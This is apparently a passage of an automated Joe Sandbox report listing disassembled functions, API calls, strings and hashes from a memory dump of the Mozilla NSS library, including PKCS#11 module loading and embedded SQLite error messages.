PR_Unlock.NSS3 ref: 6C6571DD
free.MOZGLUE(?), ref: 6C6571EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C657208
free.MOZGLUE(00000000), ref: 6C657221
free.MOZGLUE(00000001), ref: 6C657235
TlsGetValue.KERNEL32 ref: 6C65724A
EnterCriticalSection.KERNEL32(?), ref: 6C65725E
PR_NotifyCondVar.NSS3 ref: 6C657273
PR_Unlock.NSS3 ref: 6C657281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C657291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6572B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6572D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6572E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C657301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C657310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C657335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C657344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C657363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C657372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C790148,,defaultModDB,internalKeySlot), ref: 6C6574CC
free.MOZGLUE(00000000), ref: 6C657513
free.MOZGLUE(00000000), ref: 6C65751B
free.MOZGLUE(00000000), ref: 6C657528
free.MOZGLUE(00000000), ref: 6C65753C
free.MOZGLUE(00000000), ref: 6C657550
free.MOZGLUE(00000000), ref: 6C657561
free.MOZGLUE(00000000), ref: 6C657572
free.MOZGLUE(00000000), ref: 6C657583
free.MOZGLUE(00000000), ref: 6C657594
free.MOZGLUE(00000000), ref: 6C6575A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6575BD
free.MOZGLUE(00000000), ref: 6C6575C8
free.MOZGLUE(00000000), ref: 6C6575F1
PR_NewLock.NSS3 ref: 6C657636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C657686
PR_NewLock.NSS3 ref: 6C6576A2

Part of subcall function 6C7098D0: calloc.MOZGLUE(00000001,00000084,6C630936,00000001,?,6C63102C), ref: 6C7098E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6576B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C657707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C65771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C657731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C65774A
DeleteCriticalSection.KERNEL32(?), ref: 6C657770
free.MOZGLUE(?), ref: 6C657779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6577AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6577C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6577DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C657821
PORT_Alloc_Util.NSS3(?), ref: 6C657837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C65785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6578AC
free.MOZGLUE(00000000), ref: 6C6578BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6578F3
free.MOZGLUE(00000000), ref: 6C6578FC
free.MOZGLUE(00000000), ref: 6C65791C

Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307AD
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307CD
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307D6
Part of subcall function 6C6307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5C204A), ref: 6C6307E4
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,6C5C204A), ref: 6C630864
Part of subcall function 6C6307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C630880
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,6C5C204A), ref: 6C6308CB
Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(?,?,6C5C204A), ref: 6C6308D7
Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(?,?,6C5C204A), ref: 6C6308FB

Strings

dll, xrefs: 6C65788E
rdb:, xrefs: 6C657744
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6574C7
extern:, xrefs: 6C65772B
sql:, xrefs: 6C6576FE
NSS Internal Module, xrefs: 6C6574A2, 6C6574C6
Spac, xrefs: 6C657389
dbm:, xrefs: 6C657716
,defaultModDB,internalKeySlot, xrefs: 6C65748D, 6C6574AA
kbi., xrefs: 6C657886

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: b4381b144f348cc9e8261dca065a6c7e4a533a0de8f6a5d50ac7385b599e5c17
Instruction ID: 1b92b2ff5c9e957e179d9c9acd2917b74d3c5219285b5a73a2b44650ce6edbb2
Opcode Fuzzy Hash: b4381b144f348cc9e8261dca065a6c7e4a533a0de8f6a5d50ac7385b599e5c17
Instruction Fuzzy Hash: 415238B1E112059BEF108FA4DC097AE7BB4BF06348F648034ED09A7B41EB71D964CB99

Function 6C67BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C67C0C8

Part of subcall function 6C709440: LeaveCriticalSection.KERNEL32 ref: 6C7095CD
Part of subcall function 6C709440: TlsGetValue.KERNEL32 ref: 6C709622
Part of subcall function 6C709440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C70964E

PR_EnterMonitor.NSS3 ref: 6C67C0AE

Part of subcall function 6C709090: LeaveCriticalSection.KERNEL32 ref: 6C7091AA
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C709212
Part of subcall function 6C709090: _PR_MD_WAIT_CV.NSS3 ref: 6C70926B

Part of subcall function 6C630600: GetLastError.KERNEL32(?,?,?,?,?,6C6305E2), ref: 6C630642
Part of subcall function 6C630600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6305E2), ref: 6C63065D
Part of subcall function 6C630600: GetLastError.KERNEL32 ref: 6C630678
Part of subcall function 6C630600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C63068A
Part of subcall function 6C630600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C630693
Part of subcall function 6C630600: PR_SetErrorText.NSS3(00000000,?), ref: 6C63069D
Part of subcall function 6C630600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,5D0A8343,?,?,?,?,?,6C6305E2), ref: 6C6306CA
Part of subcall function 6C630600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6305E2), ref: 6C6306E6

PR_EnterMonitor.NSS3 ref: 6C67C0F2
PR_ExitMonitor.NSS3 ref: 6C67C10E
PR_ExitMonitor.NSS3 ref: 6C67C081

Part of subcall function 6C709440: TlsGetValue.KERNEL32 ref: 6C70945B
Part of subcall function 6C709440: TlsGetValue.KERNEL32 ref: 6C709479
Part of subcall function 6C709440: EnterCriticalSection.KERNEL32 ref: 6C709495
Part of subcall function 6C709440: TlsGetValue.KERNEL32 ref: 6C7094E4
Part of subcall function 6C709440: TlsGetValue.KERNEL32 ref: 6C709532
Part of subcall function 6C709440: LeaveCriticalSection.KERNEL32 ref: 6C70955D

PR_EnterMonitor.NSS3 ref: 6C67C068

Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C7090AB
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C7090C9
Part of subcall function 6C709090: EnterCriticalSection.KERNEL32 ref: 6C7090E5
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C709116
Part of subcall function 6C709090: LeaveCriticalSection.KERNEL32 ref: 6C70913F

Part of subcall function 6C630600: GetProcAddress.KERNEL32(?,?), ref: 6C630623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C67C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C67C183
free.MOZGLUE(00000000), ref: 6C67C18E
PR_LoadLibrary.NSS3(?), ref: 6C67C1A3
PR_EnterMonitor.NSS3 ref: 6C67C1D4
PR_ExitMonitor.NSS3 ref: 6C67C1F3
PR_CallOnce.NSS3(6C7A2318,6C67CA70), ref: 6C67C210
PR_EnterMonitor.NSS3 ref: 6C67C22B
PR_ExitMonitor.NSS3 ref: 6C67C247
PR_EnterMonitor.NSS3 ref: 6C67C26A
PR_ExitMonitor.NSS3 ref: 6C67C287
PR_UnloadLibrary.NSS3(?), ref: 6C67C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C67C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C67C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C67C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C67C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C67C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C67C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C67C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C67C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C67C8D5
free.MOZGLUE(00000000), ref: 6C67C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C67C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C67C9E5
free.MOZGLUE(00000000), ref: 6C67CA5A

Strings

NSC_GetInterface, xrefs: 6C67C04F
NSS_DISABLE_UNLOAD, xrefs: 6C67C7B0
NSC_ModuleDBFunc, xrefs: 6C67C0FC
Vendor NSS FIPS Interface, xrefs: 6C67C34A
nss_mod_log, xrefs: 6C67C3CC
NSS_FORCE_TOKEN_LOCK, xrefs: 6C67C77D
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C67C38D
PKCS 11, xrefs: 6C67C2F9, 6C67C314
NSC_GetFunctionList, xrefs: 6C67C093
NSS_ReturnModuleSpecData, xrefs: 6C67C275
FC_GetFunctionList, xrefs: 6C67C098
FC_GetInterface, xrefs: 6C67C054

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: f5195a60e878282696cbe498a6fb85d47475b4e1f90af6b28e1d458b5c7592e0
Instruction ID: 52970a2092b9b99ad37205832165d21a29538281190bfd3e989046f2892d306c
Opcode Fuzzy Hash: f5195a60e878282696cbe498a6fb85d47475b4e1f90af6b28e1d458b5c7592e0
Instruction Fuzzy Hash: 89429FB16042049FDF24DFA6E84AB5E3BB0FB46348F154838D81A8BB61E731D554CBA9

Function 6C753FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C753FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C753FFE
malloc.MOZGLUE(-00000003), ref: 6C754016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C78FC62), ref: 6C75404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C75407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7540A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7540D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C754112
malloc.MOZGLUE(00000000), ref: 6C75411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C75414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C754160
free.MOZGLUE(?), ref: 6C75416C
malloc.MOZGLUE(?), ref: 6C7541AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C7541EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C754520), ref: 6C754244
GetEnvironmentStrings.KERNEL32 ref: 6C75424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C754263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C754283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7542B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7542E4
malloc.MOZGLUE(00000002), ref: 6C7542FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C754342
GetStdHandle.KERNEL32(000000F6), ref: 6C7543AB
GetStdHandle.KERNEL32(000000F5), ref: 6C7543B2
GetStdHandle.KERNEL32(000000F4), ref: 6C7543B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C754403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C754410

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C75445E
CloseHandle.KERNEL32(?), ref: 6C75446B
free.MOZGLUE(?), ref: 6C754482
free.MOZGLUE(00000000), ref: 6C754492
free.MOZGLUE(00000000), ref: 6C7544A4
GetLastError.KERNEL32 ref: 6C7544B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C7544BE
free.MOZGLUE(?), ref: 6C7544C7
free.MOZGLUE(00000000), ref: 6C7544D5
free.MOZGLUE(00000000), ref: 6C7544EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6C7541E9
=, xrefs: 6C7544F8
D, xrefs: 6C754396

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: a904178c4374016e039c99ef614bd66b70b95d29fc7cf8b10384e308961d2560
Instruction ID: 5b77b0b0e9e79cb3c8138b0b5e856587b2af4deab00036c5fdd86360498c3525
Opcode Fuzzy Hash: a904178c4374016e039c99ef614bd66b70b95d29fc7cf8b10384e308961d2560
Instruction Fuzzy Hash: A7022370E043559FEF108F69CA847AEBBB4AF06308F644178DC6AA7741DB30A835DB91

Function 6C666D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C76A8EC,0000006C), ref: 6C666DC6
memcpy.VCRUNTIME140(?,6C76A958,0000006C), ref: 6C666DDB
memcpy.VCRUNTIME140(?,6C76A9C4,00000078), ref: 6C666DF1
memcpy.VCRUNTIME140(?,6C76AA3C,0000006C), ref: 6C666E06
memcpy.VCRUNTIME140(?,6C76AAA8,00000060), ref: 6C666E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C666E38

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C666E76
TlsGetValue.KERNEL32 ref: 6C66726F
EnterCriticalSection.KERNEL32(?), ref: 6C667283

Strings

!, xrefs: 6C667123

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 1290e616ffbbf927ffd46c91679b5254f928e4573939ad11823646d059cd3a02
Instruction ID: 11719cc63a3f5b1d241c19bd015ff28d7226d379158bf357854a3b100c89b05a
Opcode Fuzzy Hash: 1290e616ffbbf927ffd46c91679b5254f928e4573939ad11823646d059cd3a02
Instruction Fuzzy Hash: 18729FB5D052189FDF20CF29DC8879ABBB5AF49304F1441E9D80DA7701EB31AA85CF96

Function 6C5D3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5D3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5D3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5D3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5D3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5D3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5D4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5D406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5D410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5D449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5D4452, 6C5D4486, 6C5D44EA, 6C5D4571, 6C5D4580, 6C5D458F, 6C5D475A, 6C5D47FA
%s at line %d of [%.10s], xrefs: 6C5D4495, 6C5D44F9, 6C5D459E, 6C5D4769, 6C5D4809
database corruption, xrefs: 6C5D4490, 6C5D44F4, 6C5D4599, 6C5D4764, 6C5D4804

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 3bd9d954c2375cc2a632408c83cde70b4d535d00e07efa898b1532ae66304d89
Instruction ID: 234e5851653bcaa845545afba516ad486009926e1957f88589f536e1aa68c35c
Opcode Fuzzy Hash: 3bd9d954c2375cc2a632408c83cde70b4d535d00e07efa898b1532ae66304d89
Instruction Fuzzy Hash: 50828D74A00305CFCB04CF69C984B9AB7B2BF49318F2685A8D905ABB51D731FC86CB95

Function 6C6AAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6AACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C6AACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C6AACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C6AAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C6AADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6AADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6AADF0

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6AB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6AB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6AB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6AB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C6AB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6AB40C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 411cb0b43906681ef80e1d7a50a76a533f25a180c2250ad86d9bf2d9c95e2930
Instruction ID: 887544d1286457fe13dcffa0057e5d43ac1fcd4ddc76a54a14f0a32ad31b3773
Opcode Fuzzy Hash: 411cb0b43906681ef80e1d7a50a76a533f25a180c2250ad86d9bf2d9c95e2930
Instruction Fuzzy Hash: 9522CE70904301AFE700CF95CC44B9A77E1AF8530CF24856DE8595B7A2E772EC5ACB9A

Function 6C5F1F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5F25F3

Strings

H, xrefs: 6C5F329F
no tables specified, xrefs: 6C5F26BE
too many columns in result set, xrefs: 6C5F3012
too many references to "%s": max 65535, xrefs: 6C5F2FB6
recursive reference in a subquery: %s, xrefs: 6C5F22E5
table %s has %d values for %d columns, xrefs: 6C5F316C
H, xrefs: 6C5F322D
cannot join using column %s - column not present in both tables, xrefs: 6C5F32AB
access to view "%s" prohibited, xrefs: 6C5F2F4A
cannot have both ON and USING clauses in the same join, xrefs: 6C5F32B5
no such table: %s, xrefs: 6C5F26AC
%s.%s, xrefs: 6C5F2D68
no such index: "%s", xrefs: 6C5F319D
a NATURAL join may not have an ON or USING clause, xrefs: 6C5F32C1
%s.%s.%s, xrefs: 6C5F302D
multiple recursive references: %s, xrefs: 6C5F22E0
'%s' is not a function, xrefs: 6C5F2FD2
unsafe use of virtual table "%s", xrefs: 6C5F30D1

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 0cddff6899eefafb85f1548b2262b6fc4ee642fee917afbb3f8ad4fd7a60135e
